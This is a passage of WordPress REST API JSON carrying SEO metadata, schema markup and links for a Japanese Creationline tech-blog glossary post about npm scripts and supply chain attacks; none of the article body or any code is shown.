-->\n<title>npm\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u3064\u3044\u3066\u8abf\u3079\u305f \u3010\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3011 - Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3<\/title>\n<meta name=\"description\" content=\"k-takahashi, \u7528\u8a9e\u89e3\u8aac |\u306f\u3058\u3081\u306b npm\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.creationline.com\/tech-blog\/glossary\/80935\" \/>\n<meta property=\"og:locale\" content=\"ja_JP\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"npm\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u3064\u3044\u3066\u8abf\u3079\u305f \u3010\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3011 - Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3\" \/>\n<meta property=\"og:description\" content=\"k-takahashi, \u7528\u8a9e\u89e3\u8aac |\u306f\u3058\u3081\u306b npm\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.creationline.com\/tech-blog\/glossary\/80935\" \/>\n<meta property=\"og:site_name\" content=\"Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/creationline\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-20T02:30:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-20T06:30:46+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2026\/01\/virus-npm.png\" \/>\n\t<meta property=\"og:image:width\" content=\"440\" \/>\n\t<meta property=\"og:image:height\" content=\"265\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"k-takahashi\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@creationline\" \/>\n<meta name=\"twitter:site\" content=\"@creationline\" \/>\n<meta name=\"twitter:label1\" content=\"\u57f7\u7b46\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"k-takahashi\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u63a8\u5b9a\u8aad\u307f\u53d6\u308a\u6642\u9593\" \/>\n\t<meta name=\"twitter:data2\" content=\"3\u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/glossary\\\/80935#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/glossary\\\/80935\"},\"author\":{\"name\":\"k-takahashi\",\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/#\\\/schema\\\/person\\\/bc1e3216f314f61c2dc8d57e97594f6c\"},\"headline\":\"npm\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u3064\u3044\u3066\u8abf\u3079\u305f \u3010\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3011\",\"datePublished\":\"2026-01-20T02:30:00+00:00\",\"dateModified\":\"2026-01-20T06:30:46+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/glossary\\\/80935\"},\"wordCount\":56,\"image\":{\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/glossary\\\/80935#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cms_x3GWkuX\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/virus-npm.png\",\"articleSection\":[\"k-takahashi\",\"\u7528\u8a9e\u89e3\u8aac\"],\"inLanguage\":\"ja\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/glossary\\\/80935\",\"url\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/glossary\\\/80935\",\"name\":\"npm\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u3064\u3044\u3066\u8abf\u3079\u305f \u3010\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3011 - Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/glossary\\\/80935#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/glossary\\\/80935#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cms_x3GWkuX\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/virus-npm.png\",\"datePublished\":\"2026-01-20T02:30:00+00:00\",\"dateModified\":\"2026-01-20T06:30:46+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/#\\\/schema\\\/person\\\/bc1e3216f314f61c2dc8d57e97594f6c\"},\"description\":\"k-takahashi, \u7528\u8a9e\u89e3\u8aac |\u306f\u3058\u3081\u306b npm\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/glossary\\\/80935#breadcrumb\"},\"inLanguage\":\"ja\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/glossary\\\/80935\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"ja\",\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/glossary\\\/80935#primaryimage\",\"url\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cms_x3GWkuX\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/virus-npm.png\",\"contentUrl\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cms_x3GWkuX\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/virus-npm.png\",\"width\":440,\"height\":265},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/glossary\\\/80935#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"HOME\",\"item\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u7528\u8a9e\u89e3\u8aac\",\"item\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/glossary\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"npm\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u3064\u3044\u3066\u8abf\u3079\u305f \u3010\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3011\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/#website\",\"url\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/\",\"name\":\"Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3\",\"description\":\"\u30a2\u30b8\u30e3\u30a4\u30eb\uff06DevOps\u3001\u30af\u30e9\u30a6\u30c9\u30cd\u30a4\u30c6\u30a3\u30d6\u3001AI\uff06LLM\u306e\u5148\u7aef\u6280\u8853\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"ja\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/#\\\/schema\\\/person\\\/bc1e3216f314f61c2dc8d57e97594f6c\",\"name\":\"k-takahashi\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"ja\",\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cms_x3GWkuX\\\/wp-content\\\/uploads\\\/2021\\\/12\\\/avatar.png\",\"url\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cms_x3GWkuX\\\/wp-content\\\/uploads\\\/2021\\\/12\\\/avatar.png\",\"contentUrl\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cms_x3GWkuX\\\/wp-content\\\/uploads\\\/2021\\\/12\\\/avatar.png\",\"caption\":\"k-takahashi\"},\"url\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/author\\\/k-takahashi\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"npm\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u3064\u3044\u3066\u8abf\u3079\u305f \u3010\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3011 - Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3","description":"k-takahashi, \u7528\u8a9e\u89e3\u8aac |\u306f\u3058\u3081\u306b npm","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.creationline.com\/tech-blog\/glossary\/80935","og_locale":"ja_JP","og_type":"article","og_title":"npm\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u3064\u3044\u3066\u8abf\u3079\u305f \u3010\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3011 - Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3","og_description":"k-takahashi, \u7528\u8a9e\u89e3\u8aac |\u306f\u3058\u3081\u306b npm","og_url":"https:\/\/www.creationline.com\/tech-blog\/glossary\/80935","og_site_name":"Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3","article_publisher":"https:\/\/www.facebook.com\/creationline","article_published_time":"2026-01-20T02:30:00+00:00","article_modified_time":"2026-01-20T06:30:46+00:00","og_image":[{"width":440,"height":265,"url":"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2026\/01\/virus-npm.png","type":"image\/png"}],"author":"k-takahashi","twitter_card":"summary_large_image","twitter_creator":"@creationline","twitter_site":"@creationline","twitter_misc":{"\u57f7\u7b46\u8005":"k-takahashi","\u63a8\u5b9a\u8aad\u307f\u53d6\u308a\u6642\u9593":"3\u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.creationline.com\/tech-blog\/glossary\/80935#article","isPartOf":{"@id":"https:\/\/www.creationline.com\/tech-blog\/glossary\/80935"},"author":{"name":"k-takahashi","@id":"https:\/\/www.creationline.com\/tech-blog\/#\/schema\/person\/bc1e3216f314f61c2dc8d57e97594f6c"},"headline":"npm\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u3064\u3044\u3066\u8abf\u3079\u305f \u3010\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3011","datePublished":"2026-01-20T02:30:00+00:00","dateModified":"2026-01-20T06:30:46+00:00","mainEntityOfPage":{"@id":"https:\/\/www.creationline.com\/tech-blog\/glossary\/80935"},"wordCount":56,"image":{"@id":"https:\/\/www.creationline.com\/tech-blog\/glossary\/80935#primaryimage"},"thumbnailUrl":"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2026\/01\/virus-npm.png","articleSection":["k-takahashi","\u7528\u8a9e\u89e3\u8aac"],"inLanguage":"ja"},{"@type":"WebPage","@id":"https:\/\/www.creationline.com\/tech-blog\/glossary\/80935","url":"https:\/\/www.creationline.com\/tech-blog\/glossary\/80935","name":"npm\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u3064\u3044\u3066\u8abf\u3079\u305f \u3010\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3011 - Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3","isPartOf":{"@id":"https:\/\/www.creationline.com\/tech-blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.creationline.com\/tech-blog\/glossary\/80935#primaryimage"},"image":{"@id":"https:\/\/www.creationline.com\/tech-blog\/glossary\/80935#primaryimage"},"thumbnailUrl":"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2026\/01\/virus-npm.png","datePublished":"2026-01-20T02:30:00+00:00","dateModified":"2026-01-20T06:30:46+00:00","author":{"@id":"https:\/\/www.creationline.com\/tech-blog\/#\/schema\/person\/bc1e3216f314f61c2dc8d57e97594f6c"},"description":"k-takahashi, \u7528\u8a9e\u89e3\u8aac |\u306f\u3058\u3081\u306b npm","breadcrumb":{"@id":"https:\/\/www.creationline.com\/tech-blog\/glossary\/80935#breadcrumb"},"inLanguage":"ja","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.creationline.com\/tech-blog\/glossary\/80935"]}]},{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/www.creationline.com\/tech-blog\/glossary\/80935#primaryimage","url":"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2026\/01\/virus-npm.png","contentUrl":"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2026\/01\/virus-npm.png","width":440,"height":265},{"@type":"BreadcrumbList","@id":"https:\/\/www.creationline.com\/tech-blog\/glossary\/80935#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"HOME","item":"https:\/\/www.creationline.com\/tech-blog"},{"@type":"ListItem","position":2,"name":"\u7528\u8a9e\u89e3\u8aac","item":"https:\/\/www.creationline.com\/tech-blog\/glossary"},{"@type":"ListItem","position":3,"name":"npm\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u3064\u3044\u3066\u8abf\u3079\u305f \u3010\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3011"}]},{"@type":"WebSite","@id":"https:\/\/www.creationline.com\/tech-blog\/#website","url":"https:\/\/www.creationline.com\/tech-blog\/","name":"Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3","description":"\u30a2\u30b8\u30e3\u30a4\u30eb\uff06DevOps\u3001\u30af\u30e9\u30a6\u30c9\u30cd\u30a4\u30c6\u30a3\u30d6\u3001AI\uff06LLM\u306e\u5148\u7aef\u6280\u8853","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.creationline.com\/tech-blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"ja"},{"@type":"Person","@id":"https:\/\/www.creationline.com\/tech-blog\/#\/schema\/person\/bc1e3216f314f61c2dc8d57e97594f6c","name":"k-takahashi","image":{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2021\/12\/avatar.png","url":"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2021\/12\/avatar.png","contentUrl":"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2021\/12\/avatar.png","caption":"k-takahashi"},"url":"https:\/\/www.creationline.com\/tech-blog\/author\/k-takahashi"}]}},"_links":{"self":[{"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/posts\/80935","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/users\/154"}],"replies":[{"embeddable":true,"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/comments?post=80935"}],"version-history":[{"count":15,"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/posts\/80935\/revisions"}],"predecessor-version":[{"id":82012,"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/posts\/80935\/revisions\/82012"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/media\/82017"}],"wp:attachment":[{"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/media?parent=80935"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/categories?post=80935"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/tags?post=80935"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}